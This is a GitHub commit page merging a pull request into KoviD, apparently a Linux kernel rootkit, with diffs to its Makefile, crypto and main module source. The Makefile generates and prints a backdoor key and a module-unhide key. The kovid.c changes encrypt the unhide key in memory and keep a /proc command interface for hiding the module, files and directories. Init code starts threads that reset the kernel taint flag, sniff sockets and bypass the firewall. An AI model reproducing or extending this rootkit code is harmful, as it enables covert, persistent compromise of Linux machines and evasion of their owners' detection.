Skip to content

Commit

Permalink
Merge pull request #177 from carloslack/kvdev
Browse files Browse the repository at this point in the history
Kvdev
  • Loading branch information
carloslack authored Jan 6, 2025
2 parents a70f6b2 + 25ad9c8 commit e1020fa
Show file tree
Hide file tree
Showing 11 changed files with 341 additions and 239 deletions.
1 change: 1 addition & 0 deletions CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -107,6 +107,7 @@ set(SRC
src/sock.c
src/util.c
src/vm.c
src/tty.c
)

# Step M: Create the 'persist' Target using configure_file
Expand Down
28 changes: 16 additions & 12 deletions Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,7 @@ COMPILER_OPTIONS := -Wall -Wno-vla -DPROCNAME='"$(PROCNAME)"' \
EXTRA_CFLAGS := -I$(src)/src -I$(src)/fs ${COMPILER_OPTIONS}

SRC := src/${OBJNAME}.c src/pid.c src/fs.c src/sys.c \
src/sock.c src/util.c src/vm.c src/crypto.c
src/sock.c src/util.c src/vm.c src/crypto.c src/tty.c

persist=src/persist

Expand All @@ -46,14 +46,20 @@ all:
# TODO: Check if we can generate a random PROCNAME, something like:
# PROCNAME ?= $(shell uuidgen | cut -c1-8)
$(if $(PROCNAME),,$(error ERROR: PROCNAME is not defined. Please invoke make with PROCNAME="your_process_name"))
@sed -i 's#^static uint64_t __attribute__((unused)) auto_bdkey = .*#static uint64_t __attribute__((unused)) auto_bdkey = $(BDKEY);#' src/auto.h
@sed -i 's#^static uint64_t __attribute__((unused)) auto_unhidekey = .*#static uint64_t __attribute__((unused)) auto_unhidekey = $(UNHIDEKEY);#' src/auto.h
@sed -i "s/\(uint64_t auto_bdkey = \)[^;]*;/\1$(BDKEY);/" src/sock.c
@sed -i "s/\(uint64_t auto_unhidekey = \)[^;]*;/\1$(UNHIDEKEY);/" src/kovid.c
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
@echo -n "Save this Backdoor KEY: "
@echo $(BDKEY) | sed 's/^0x//'
@echo -n "Save this LKM unhide KEY: "
@echo $(UNHIDEKEY) | sed 's/^0x//'
@echo PROCNAME=$(PROCNAME)
@echo -n "Backdoor KEY: "
@echo "\033[1;37m$(BDKEY)\033[0m" | sed 's/0x//'
@echo -n "LKM unhide KEY: "
@echo "\033[1;37m$(UNHIDEKEY)\033[0m" | sed 's/0x//'
@echo "UI: \033[1;37m/proc/$(PROCNAME)\033[0m"
@echo -n "Build type: "
ifdef DEPLOY
@echo "\033[1;37mRELEASE\033[0m"
else
@echo "\033[1;37mDEBUG\033[0m"
endif

persist:
sed -i "s|.lm.sh|${UUIDGEN}.sh|g" $(persist).S
Expand All @@ -73,10 +79,8 @@ clang-format:
clang-format-18 -i src/*.[ch]

reset-auto:
@git checkout a6333fdc9e9d647b7d64e9e9cb1e6c0237a8967f \
-- src/persist.S 2>/dev/null || true
@git checkout 1520b99c4fa2fc2ee6a1d11c50de4e1591321a71 \
-- src/auto.h 2>/dev/null || true
@sed -i "s/\(uint64_t auto_bdkey = \)[^;]*;/\10x0000000000000000;/" src/sock.c
@sed -i "s/\(uint64_t auto_unhidekey = \)[^;]*;/\10x0000000000000000;/" src/kovid.c

clean: reset-auto
@make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Expand Down
12 changes: 0 additions & 12 deletions src/auto.h

This file was deleted.

18 changes: 9 additions & 9 deletions src/crypto.c
Original file line number Diff line number Diff line change
Expand Up @@ -17,24 +17,25 @@ static struct crypto_skcipher *tfm;
* Must be called once from KoviD initialization
*/
#define ENCKEY_LEN 32 /** aes 256 */
int kv_crypto_key_init(void)

int kv_crypto_engine_init(void)
{
static char key[ENCKEY_LEN] = { 0 };
int rc;
int rc = -1;

/** Allocate AES-CBC */
if (!crypto_has_skcipher("cbc(aes)", 0, 0)) {
prerr("Cipher not found\n");
return 0;
return rc;
}

/** Allocate for transformation
* Shared across all instances
*/
* Shared across all instances
*/
tfm = crypto_alloc_skcipher("cbc(aes)", 0, 0);
if (IS_ERR(tfm)) {
prerr("Failed to allocate cipher %ld\n", PTR_ERR(tfm));
return 0;
return rc;
}

get_random_bytes(key, ENCKEY_LEN);
Expand All @@ -44,15 +45,14 @@ int kv_crypto_key_init(void)
if (rc < 0) {
prerr("Key init error %d\n", rc);
crypto_free_skcipher(tfm);
return 0;
}

return rc;
}

/** Encryption init
* Called for each encryption operation */
struct kv_crypto_st *crypto_init(void)
struct kv_crypto_st *kv_crypto_mgc_init(void)
{
struct kv_crypto_st *kvmgc =
kmalloc(sizeof(struct kv_crypto_st), GFP_KERNEL);
Expand Down Expand Up @@ -213,7 +213,7 @@ void kv_crypto_mgc_deinit(struct kv_crypto_st *kvmgc)
}
}

void kv_crypto_deinit(void)
void kv_crypto_engine_deinit(void)
{
if (tfm) {
kfree(tfm);
Expand Down
128 changes: 85 additions & 43 deletions src/kovid.c
Original file line number Diff line number Diff line change
Expand Up @@ -31,7 +31,6 @@
#include "lkm.h"
#include "fs.h"
#include "version.h"
#include "auto.h"
#include "log.h"

#define MAX_PROCFS_SIZE PAGE_SIZE
Expand All @@ -41,10 +40,6 @@
#pragma message "Missing \'MODNAME\' compilation directive. See Makefile."
#endif

#ifdef DEBUG_RING_BUFFER
#pragma message "!!! Be careful: Build kovid in DEBUG mode !!!"
#endif

#ifndef PRCTIMEOUT
/**
* default timeout seconds
Expand All @@ -67,14 +62,15 @@ struct __lkmmod_t {
};
static DEFINE_MUTEX(prc_mtx);
static DEFINE_SPINLOCK(elfbits_spin);
static struct kv_crypto_st *kvmgc_unhidekey;

/** gcc - fuck 32 bits shit (for now!) */
#ifndef __x86_64__
#error "fuuuuuu Support is only for x86-64"
#endif
// Makefile auto-generated - DO NOT EDIT
uint64_t auto_unhidekey = 0x0000000000000000;

#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 16, 0)
#pragma message "!! Warning: Unsupported kernel version GOOD LUCK WITH THAT! !!"
extern uint64_t auto_bdkey;

#ifndef __x86_64__
#error "Support is only for x86-64"
#endif

MODULE_LICENSE("Dual BSD/GPL");
Expand Down Expand Up @@ -476,19 +472,51 @@ static const match_table_t tokens = {
{ Opt_unhide_directory, "unhide-directory=%s" },

{ Opt_journalclt, "journal-flush" },
{ Opt_fetch_base_address, "base-address=%d" },
#ifdef DEBUG_RING_BUFFER
{ Opt_get_bdkey, "get-bdkey" },
{ Opt_get_unhidekey, "get-unhidekey" },
#endif
{ Opt_unknown, NULL }
};

struct userdata_t {
uint64_t address_value;
int op;
bool ok;
};

void _crypto_cb(const u8 *const buf, size_t buflen, size_t copied,
void *userdata)
{
struct userdata_t *validate = (struct userdata_t *)userdata;

if (!validate)
return;

if (validate->op == Opt_unhide_module) {
if (validate->address_value) {
if (validate->address_value == *((uint64_t *)buf))
validate->ok = true;
}
}
#ifdef DEBUG_RING_BUFFER
else if (validate->op == Opt_get_unhidekey ||
validate->op == Opt_get_bdkey) {
char bits[32 + 1] = { 0 };
snprintf(bits, 32, "%llx", *((uint64_t *)buf));
set_elfbits(bits);
}
#endif
}

#define CMD_MAXLEN 128
static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size,
loff_t *offset)
{
pid_t pid;
char param[CMD_MAXLEN + 1] = { 0 };
decrypt_callback user_cb = (decrypt_callback)_crypto_cb;

if (copy_from_user(param, user, CMD_MAXLEN))
return -EFAULT;
Expand Down Expand Up @@ -522,10 +550,17 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size,
kv_hide_mod();
break;
case Opt_unhide_module: {
uint64_t val;
if ((sscanf(args[0].from, "%llx", &val) == 1) &&
auto_unhidekey == val) {
kv_unhide_mod();
uint64_t address_value = 0;
struct userdata_t validate = { 0 };

if ((sscanf(args[0].from, "%llx", &address_value) ==
1)) {
validate.address_value = address_value;
validate.op = Opt_unhide_module;
kv_decrypt(kvmgc_unhidekey, user_cb, &validate);
if (validate.ok == true) {
kv_unhide_mod();
}
}
} break;
case Opt_hide_file:
Expand Down Expand Up @@ -561,9 +596,9 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size,
case Opt_unhide_directory:
fs_del_name(args[0].from);
break;
/* Currently, directories must
* be added individually: use hide-directory
* */
/** Currently, directories must
* be added individually: use hide-directory
*/
case Opt_hide_file_anywhere:
fs_add_name_rw(args[0].from, 0);
break;
Expand All @@ -578,15 +613,14 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size,
}
} break;
#ifdef DEBUG_RING_BUFFER
case Opt_get_bdkey: {
char bits[32 + 1] = { 0 };
snprintf(bits, 32, "%lx", auto_bdkey);
set_elfbits(bits);
} break;
case Opt_get_bdkey:
case Opt_get_unhidekey: {
char bits[32 + 1] = { 0 };
snprintf(bits, 32, "%lx", auto_unhidekey);
set_elfbits(bits);
struct userdata_t validate = { 0 };
struct kv_crypto_st *mgc =
(tok == Opt_get_unhidekey ? kvmgc_unhidekey :
kv_sock_get_mgc());
validate.op = tok;
kv_decrypt(mgc, user_cb, &validate);
} break;
#endif
case Opt_fetch_base_address: {
Expand Down Expand Up @@ -782,6 +816,7 @@ static void _unroll_init(void)

static int __init kv_init(void)
{
u8 buf[16] = { 0 };
int rv = 0;
char *procname_err = "";
const char **name;
Expand All @@ -792,10 +827,8 @@ static int __init kv_init(void)
/*
* Hide these names from write() fs output
*/
static const char *hide_names[] = { ".kovid", "kovid",
"kovid.ko", UUIDGEN ".ko",
UUIDGEN ".sh", ".sshd_orig",
PROCNAME, NULL };
static const char *hide_names[] = { MODNAME, UUIDGEN ".ko",
UUIDGEN ".sh", PROCNAME, NULL };

/** show current version for when running in debug mode */
prinfo("version %s\n", KOVID_VERSION);
Expand Down Expand Up @@ -827,24 +860,34 @@ static int __init kv_init(void)
#endif
tsk_prc = kthread_run(_proc_watchdog, NULL, THREAD_PROC_NAME);
if (!tsk_prc)
goto unroll_init;
goto background_error;

tsk_tainted = kthread_run(_reset_tainted, NULL, THREAD_TAINTED_NAME);
if (!tsk_tainted)
goto unroll_init;
goto background_error;

#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 17, 0)
cont:
#endif
/** Init crypto engine */
if (kv_crypto_key_init() < 0) {
if (kv_crypto_engine_init() < 0) {
prerr("Failed to initialise crypto engine\n");
goto crypto_error;
}

if (!(kvmgc_unhidekey = kv_crypto_mgc_init())) {
prerr("Failed to encrypt unhidekey\n");
kv_crypto_engine_deinit();
goto crypto_error;
}

memcpy(buf, &auto_unhidekey, 8);
kv_encrypt(kvmgc_unhidekey, buf, sizeof(buf));
auto_unhidekey = 0;

tsk_sniff = kv_sock_start_sniff();
if (!tsk_sniff)
goto unroll_init;
goto background_error;

if (!kv_sock_start_fw_bypass()) {
prwarn("Error loading fw_bypass\n");
Expand Down Expand Up @@ -873,21 +916,20 @@ static int __init kv_init(void)
prinfo("loaded.\n");
goto leave;

unroll_init:
prerr("Could not load basic functionality.\n");
crypto_error:
prerr("Crypto init error\n");
goto error;
addr_error:
prerr("Could not get kernel function address, proc file not created.\n");
background_error:
prerr("Could not load basic functionality.\n");
goto error;
sys_init_error:
prerr("Could not load syscalls hooks\n");
goto error;
addr_error:
prerr("Could not get kernel function address, proc file not created.\n");
goto error;
procname_missing:
prerr("%s\n", procname_err);
goto error;
crypto_error:
prerr("Crypto init error\n");

error:
prerr("Unrolling\n");
_unroll_init();
Expand Down Expand Up @@ -921,7 +963,7 @@ static void __exit kv_cleanup(void)

fs_names_cleanup();

kv_crypto_deinit();
kv_crypto_engine_deinit();

prinfo("unloaded.\n");
}
Expand Down
Loading

0 comments on commit e1020fa

Please sign in to comment.